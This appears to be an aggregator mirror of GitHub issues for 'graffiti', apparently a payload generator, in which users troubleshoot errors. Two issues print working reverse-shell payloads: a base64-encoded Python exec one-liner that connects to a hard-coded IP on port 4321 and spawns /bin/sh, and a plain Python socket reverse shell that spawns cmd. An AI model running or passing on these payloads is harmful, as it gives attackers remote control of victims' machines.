Giter VIP home page Giter VIP logo

graffiti's Issues

PyCrypto is being called from 2

I know this is a python issue but I'm wondering if anyone may know a resolution for the issue? I've tried everything I could think of.

This error is returned

graffiti -p /linux/python/socket_reverse.json -c base64 -lH -lP 4321
'# you need to install PyCrypto in order to use AES encoding pip install pycrypto
python -c 'exec("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjk5LjE4MC45My4xNTIiLDQzMjEpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw==".decode("base64"))'

Tried to reinstall.

pip install pycrypto -v
User install by explicit request
Created temporary directory: /tmp/pip-ephem-wheel-cache-0b0kgcmo
Created temporary directory: /tmp/pip-req-tracker-xu650tye
Initialized build tracking at /tmp/pip-req-tracker-xu650tye
Created build tracker: /tmp/pip-req-tracker-xu650tye
Entered build tracker: /tmp/pip-req-tracker-xu650tye
Created temporary directory: /tmp/pip-install-4jpp0sd6
Requirement already satisfied: pycrypto in /usr/lib/python3/dist-packages (2.6.1)
Removed build tracker: '/tmp/pip-req-tracker-xu650tye'

Tried to uninstall

pip uninstall pycrypto
Found existing installation: pycrypto 2.6.1
Not uninstalling pycrypto at /usr/lib/python3/dist-packages, outside environment /usr
Can't uninstall 'pycrypto'. No files were found to uninstall.

Reinstalled over it

pip install pycrypto -v
User install by explicit request
Created temporary directory: /tmp/pip-ephem-wheel-cache-0b0kgcmo
Created temporary directory: /tmp/pip-req-tracker-xu650tye
Initialized build tracking at /tmp/pip-req-tracker-xu650tye
Created build tracker: /tmp/pip-req-tracker-xu650tye
Entered build tracker: /tmp/pip-req-tracker-xu650tye
Created temporary directory: /tmp/pip-install-4jpp0sd6
Requirement already satisfied: pycrypto in /usr/lib/python3/dist-packages (2.6.1)
Removed build tracker: '/tmp/pip-req-tracker-xu650tye'

No luck.

powershell error

hi
trying to use your script for create payload. but get error.

payload_ps_error_2

Traceback (most recent call last):

File "/home/geo/Graffiti/./graffiti.py", line 1, in
from main.main import main
File "/home/geo/Graffiti/main/main.py", line 2, in
from lib.arguments import Parser
File "/home/geo/Graffiti/lib/arguments.py", line 5, in
from coders import Encoder
File "/home/geo/Graffiti/coders/init.py", line 1, in
from lib.settings import UnacceptableExecType
File "/home/geo/Graffiti/lib/settings.py", line 5, in
import jsonize
ModuleNotFoundError: No module named 'jsonize'

OSError: [Errno 9] Bad file descriptor

Hello,
I tried to use this payload /windows/python/socket_reverse.json , I ran it on windows, but the payload didn't work, and I got this error :

OSError: [Errno 9] Bad file descriptor

I found same error on Stack Overflow.

the payload code was:

import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("host",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call("cmd")

I couldn't understand how to fix it, so can you help me out please?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.